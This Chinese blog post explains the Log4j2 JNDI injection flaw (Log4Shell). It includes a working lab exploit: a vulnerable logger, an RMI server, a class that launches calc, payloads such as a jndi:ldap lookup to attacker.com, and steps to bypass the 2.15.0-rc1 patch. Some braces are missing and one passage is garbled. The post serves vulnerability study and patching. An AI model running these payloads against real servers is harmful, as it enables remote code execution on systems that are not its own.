Log4j2远程执行代码漏洞如何攻击? 又如何修复
Posted 琦彦
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Log4j2远程执行代码漏洞如何攻击? 又如何修复相关的知识,希望对你有一定的参考价值。
Log4j2远程执行代码漏洞如何攻击? 又如何修复
12月9日晚,Apache Log4j2反序列化远程代码执行漏洞细节已被公开,Apache Log4j-2中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。 因该组件使用极为广泛,利用门槛很低,危害极建议所有用户尽快升级到安全版本。
漏洞描述
高危,该漏洞影响范围极广,利用门槛很低,危害极大。
CVSS评分:10(最高级)
漏洞细节 | 漏洞PoC | 漏洞EXP | 在野利用 |
---|---|---|---|
已公开 | 已知 | 已知 | 已发现 |
漏洞版本影响
Apache log4j2 2.0 - 2.14.1 版本均受影响。
安全版本
Apache log4j-2.15.0-rc2 (2.15.0-rc1版)
区分是Log4j还是Log4j2
有些人分不清自己用的是Log4j还是Log4j2。这里给出几个辨别方法:
- Log4j2分为2个jar包,一个是接口
log4j-api-$版本号.jar
,一个是具体实现log4j-core-$版本号.jar
。Log4j只有一个jar包log4j-$版本号.jar
。 - Log4j2的版本号目前均为2.x。Log4j的版本号均为1.x。
- Log4j2的package名称前缀为
org.apache.logging.log4j
。Log4j的package名称前缀为org.apache.log4j
。
漏洞复现
漏洞攻击步骤
- 攻击者执行恶意脚本。
- 用户发送数据到服务器,不管什么协议,http也好,别的也好
- 服务器记录用户请求中的数据,数据中包含恶意payload:
$jndi:ldap://attacker.com/a
,其中attacker.com是攻击者的服务器 - log4j向attacker.com发送请求(jndi)时触发漏洞,因为有个
$
符号 - log4j收到的jndi响应中包含一个java class文件路径,比如是
http://second-stage.attacker.com/Exploit.class
,这个class文件会被log4j所运行在的服务器加载运行 - 第4步中注入的java class文件中的代码是攻击者的攻击代码
操作系统 windows10
jdk: jdk1.8
需要的依赖
<!--log4j2核心包-->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>
<!--使用yml配置log4j2-->
<dependency>
<groupId>com.fasterxml.jackson.dataformat</groupId>
<artifactId>jackson-dataformat-yaml</artifactId>
<version>2.12.3</version>
</dependency>
<!-- slf4j核心包-->
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<version>1.7.32</version>
</dependency>
<!--用于与slf4j保持桥接-->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-slf4j-impl</artifactId>
<version>2.14.0</version>
</dependency>
<!--log4j2核心包-->
项目目录结构
模拟运行存在漏洞log4j2的服务器
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/**
* @Title: 模拟运行存在漏洞log4j2的服务器
* @ClassName: geektime.log.ServerTest.java
* @Description:
*
* @Copyright 2020-2021 - Powered By 研发中心
* @author: 琦彦
* @date: 2021/12/26 16:23
* @version V1.0
*/
public class ServerTest
private static final Logger logger = LoggerFactory.getLogger(ServerTest.class);
public static void main(String[] args)
//有些高版本jdk需要打开此行代码
//System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
// 模拟填写数据,输入构造好的字符串,使受害服务器打印日志时执行远程的代码 同一台可以使用127.0.0.1
// $jndi:rmi//127.0.0.1:1099/evil,表示通过JNDI Lookup功能,获取rmi//127.0.0.1:1099/evil上的变量内容。
String username = "$jndi:rmi://127.0.0.1:1099/evil";
//正常打印业务日志
logger.error("username:",username);
准备好RMI服务端,等待受害服务器访问
package geektime.log;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
* @Title: 准备好RMI服务端,等待受害服务器访问
* @ClassName: geektime.log.RMIServer.java
* @Description:
*
* @Copyright 2020-2021 - Powered By 研发中心
* @author: 琦彦
* @date: 2021/12/26 16:23
* @version V1.0
*/
public class RMIServer
public static void main(String[] args)
try
// 本地主机上的远程对象注册表Registry的实例,默认端口1099
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
System.out.println("Create RMI registry on port 1099");
//返回的Java对象 第一个参数为包路径
Reference reference = new Reference("geektime.log.EvilCode","geektime.log.EvilCode",null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
// 把远程对象注册到RMI注册服务器上,并命名为evil
registry.bind("evil",referenceWrapper);
// registry.bind("evil",new EvilCode());
catch (RemoteException | AlreadyBoundException | NamingException e)
e.printStackTrace();
恶意代码(打开计算器)
package geektime.log;
import java.io.*;
import java.rmi.Remote;
/**
* @Title: 执行任意的脚本,目前的脚本会使windows打开计算器
* @ClassName: geektime.log.EvilCode.java
* @Description:
*
* @Copyright 2020-2021 - Powered By 研发中心
* @author: 琦彦
* @date: 2021/12/26 16:23
* @version V1.0
*/
public class EvilCode
static
System.out.println("受害服务器将执行下面命令行");
Process p;
String[] cmd = "calc";
try
p = Runtime.getRuntime().exec("calc");
InputStream fis = p.getInputStream();
InputStreamReader isr = new InputStreamReader(fis);
BufferedReader br = new BufferedReader(isr);
String line = null;
while((line=br.readLine())!=null)
System.out.println(line);
catch (IOException e)
e.printStackTrace();
效果
问题记录
类名打印出来了,但是没有启动计算器
仅输出:username:Reference Class Name: EvilCode,未调用计算器
Reference reference = new Reference("log.EvilCode","log.EvilCode",null);
第一个和第二个参数为包路径, 需要更具自己的情况调整修改
漏洞攻击原理
JNDI
JNDI(Java Naming and Directory Interface,Java命名和目录接口),是Java提供的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象 。
NDI由三部分组成:JNDI API、Naming Manager、JNDI SPI。
JNDI API是应用程序调用的接口,
JNDI SPI是具体实现,
应用程序需要指定具体实现的SPI。
下图是官方对JNDI介绍的架构图:
Log4j2 Lookup
Log4j2的Lookup主要功能是通过引用一些变量,往日志中添加动态的值。这些变量可以是外部环境变量,也可以是MDC中的变量,还可以是日志上下文数据等。
下面是一个简单的Java Lookup例子和输出:
/**
* @Title: Log4j2的Lookup功能
* @ClassName: geektime.log.Log4j2Lookup.java
* @Description:
*
* @Copyright 2020-2021 - Powered By 研发中心
* @version V1.0
*/
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.ThreadContext;
public class Log4j2Lookup
public static final Logger LOGGER = LogManager.getLogger(Log4j2Lookup.class);
public static void main(String[] args)
ThreadContext.put("userName", "琦彦同学,你好");
LOGGER.error("userName: $ctx:userName");
输出结果
16:33:21.448 [main] ERROR geektime.log.Log4j2Lookup - userName: 琦彦同学,你好
从上面的例子可以看到,通过在日志字符串中加入" c t x : u s e r N a m e " , L o g 4 j 2 在 输 出 日 志 时 , 会 自 动 在 L o g 4 j 2 的 ‘ T h r e a d C o n t e x t ‘ 中 查 找 并 引 用 ‘ u s e r N a m e ‘ 变 量 。 格 式 类 似 " ctx:userName",Log4j2在输出日志时,会自动在Log4j2的`ThreadContext`中查找并引用`userName`变量。格式类似" ctx:userName",Log4j2在输出日志时,会自动在Log4j2的‘ThreadContext‘中查找并引用‘userName‘变量。格式类似"type:var",即可以实现对变量var的引用。type可以是如下值:
- ctx:允许程序将数据存储在 Log4j
ThreadContext
Map 中,然后在日志输出过程中,查找其中的值。 - env:允许系统在全局文件(如 /etc/profile)或应用程序的启动脚本中配置环境变量,然后在日志输出过程中,查找这些变量。例如:
$env:USER
。 - java:允许查找Java环境配置信息。例如:
$java:version
。 - jndi:允许通过 JNDI 检索变量。
- …
其中和本次漏洞相关的便是jndi,例如上文漏洞浮现
中模拟的:$jndi:rmi://127.0.0.1:1099/evil
,表示通过JNDI Lookup功能,获取rmi//127.0.0.1:1099/evil
上的变量内容。
import org.apache.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler
static Logger log = Logger.getLogger(log4jExample.class.getName());
/**
* A simple HTTP endpoint that reads the request's User Agent and logs it back.
* This is basically pseudo-code to explain the vulnerability, and not a full example.
* @param he HTTP Request Object
*/
public void handle(HttpExchange he) throws IOException
string userAgent = he.getRequestHeader("user-agent");
// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: $jndi:ldap://attacker.com/a
log.info("Request User Agent:" + userAgent);
String response = "<h1>Hello There, " + userAgent + "!</h1>";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.write(response.getBytes());
os.close();
根据上面提供的攻击代码,攻击者可以通过JNDI来执行LDAP协议来注入一些非法的可执行代码。
JNDI注入
由前面的例子可以看到,JNDI服务管理着一堆的名称和这些名称上绑定着的对象。如果这些对象不是本地的对象,会如何处理?JNDI还支持从指定的远程服务器上下载class文件,加载到本地JVM中,并通过适当的方式创建对象。
“class文件加载到本地JVM中,并通过适当的方式创建对象”,在这个过程中,static代码块以及创建对象过程中的某些特定回调方法即有机会被执行。JNDI注入正是基于这个思路实现的。
JNDI注入原理
由于是JNDI注入,因此可以通过在InitialContext.lookup(String name)
方法上设置端点,观察整个漏洞触发的调用堆栈,来了解原理。调用堆栈如下:
整个调用堆栈较深,这里把几个关键点提取整理如下:
LOGGER.error
......
MessagePatternConverter.format
....
StrSubstitutor.resolveVariable
Interpolator.lookup
JndiLookup.lookup
JndiManager.lookup
InitialContext.lookup
1. MessagePatternConverter.format()
poc代码中的LOGGER.error()
方法最终会调用到MessagePatternConverter.format()
方法,该方法对日志内容进行解析和格式化,并返回最终格式化后的日志内容。当碰到日志内容中包含$
子串时,调用StrSubstitutor进行进一步解析。
2. StrSubstitutor.resolveVariable()
StrSubstitutor将$
和之间的内容提取出来,调用并传递给
Interpolator.lookup()
方法,实现Lookup功能。
3. Interpolator.lookup()
Interpolator实际是一个实现Lookup功能的代理类,该类在成员变量strLookupMap
中保存着各类Lookup功能的真正实现类。Interpolator对 上一步提取出的内容解析后,从strLookupMap
获得Lookup功能实现类,并调用实现类的lookup()
方法。
例如对poc例子中的jndi:rmi://127.0.0.1:1099/exp
解析后得到jndi
的Lookup功能实现类为JndiLookup
,并调用JndiLookup.lookup()
方法。
4. JndiLookup.lookup()
JndiLookup.lookup()
方法调用JndiManager.lookup()
方法,获取JNDI对象后,调用该对象上的toString()
方法,最终返回该字符串。
5. JndiManager.lookup()
JndiManager.lookup()
较为简单,直接委托给InitialContext.lookup()
方法。这里单独提到该方法,是因为后续几个补丁中较为重要的变更即为该方法。
至此,后续即可以按照常规的JNDI注入路径进行分析。
漏洞补丁分析
2.15.0-rc1
通过比较2.15.0-rc1和该版本之前最后一个版本2.14.1之间的差异,可以发现Log4j2团队在12月5日提交了一个名为Restrict LDAP access via JNDI (#608)
的commit。该commit的详细内容如下链接:
https://github.com/apache/logging-log4j2/commit/c77b3cb39312b83b053d23a2158b99ac7de44dd3
除去一些测试代码和辅助代码,该commit最主要内容是在上文中提到的 JndiManager.lookup()
方法增加了几种限制,分别是allowedHosts
、allowedClasses
、allowedProtocols
。
各个限制的内容分别如下:
可以看到,rc1补丁通过对JNDI Lookup增加白名单的方式,限制默认可以访问的主机为本地IP,限制默认支持的协议类型为java
、ldap
、ldaps
,限制LDAP协议默认可以使用的Java类型为少数基础类型,从而大大减少了默认的攻击面。
4.2 2.15.0-rc2
4.2.1 rc1中存在的问题
在rc1还未正式成为release版本之前,Log4j团队又在两天不到的时间里发布了rc2版本,说明rc1依然存在着一些问题。我们来看下rc1里主要修复的JndiManager.lookup()
方法的整体逻辑结构:
public synchronized <T> T lookup(final String name) throws NamingException
try
URI uri = new URI(name);
if (uri.getScheme() != null)
if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT)))
......
return null;
if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme()))
if (!allowedHosts.contains(uri.getHost()))
......
return null;
......
if (!allowedClasses.contains(className))
......
return null;
......
catch (URISyntaxException ex)
// This is OK.
return (T) this.context.lookup(name);
从上面的代码结构中可以总结如下的逻辑:
- 对传入的
name
参数进行4.1
章节提到的各类检查。如果检查不通过,则直接返回null
。 - 如果产生
URISyntaxException
,则对该异常忽略,继续执行this.context.lookup(name)
。 - 如果未产生
URISyntaxException
,则执行this.context.lookup(name)
。
我们重点关注catch
代码块,rc1默认不对URISyntaxException
异常做任何处理,继续执行后续逻辑,即this.context.lookup(name)
。
再看下try
代码块中可能产生URISyntaxException
的地方。很不幸,try
代码块的第一个语句即可能产生该异常:URI uri = new URI(name);
。
试想一下,如果能够构造某个特殊的URI,导致URI uri = new URI(name);
语句解析URI异常,抛出URISyntaxException
,但又能被this.context.lookup(name)
正确处理,不就可以绕过了吗?
4.2.2 绕过rc1
由于rc1未在maven中央仓库上,因此需要自行下载代码并构建:
到Log4j2的GitHub官方仓库下载rc1:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1。分别进入log4j-api和log4j-core目录,执行mvn clean install -DskipTests
。最终会在本地maven仓库上生成rc1的jar包,版本为2.15.0,后续测试使用该jar包。
由于rc1默认未开启Lookup功能,需要先开启,可以通过在配置文件的%msg
中添加lookup
进行开启。在当前类路径下添加log4j2.xml,内容参考如下:
<Configuration>
<Appenders>
<Console name="CONSOLE">
<PatternLayout>
<pattern>%dHH:mm:ss.SSS [%t] %-5level %logger36 - %msglookups%n</pattern>
</PatternLayout>
</Console>
</Appenders>
<Loggers>
<Root level="DEBUG">
<AppenderRef ref="CONSOLE"/>
</Root>
</Loggers>
</Configuration>
-
漏洞利用代码和上文中一致,编译生成Exploit.class。
-
本地执行
python3 -m http.server 8081
,启动web服务器,监听在8081端口。将上一步编译生成的Exploit.class文件放到web服务的根目录(根目录即为执行python3 -m http.server 8081
命令的工作目录)。 -
由于rc1中默认仅支持
java
、ldap
、ldaps
这三种协议,就使用LDAP协议吧。自己搭建LDAP服务器比较麻烦,这里直接利用下marshalsec
这个库。运行java
以上是关于Log4j2远程执行代码漏洞如何攻击? 又如何修复的主要内容,如果未能解决你的问题,请参考以下文章
烽火狼烟丨Apache Log4j2远程代码执行漏洞(CVE44832)通告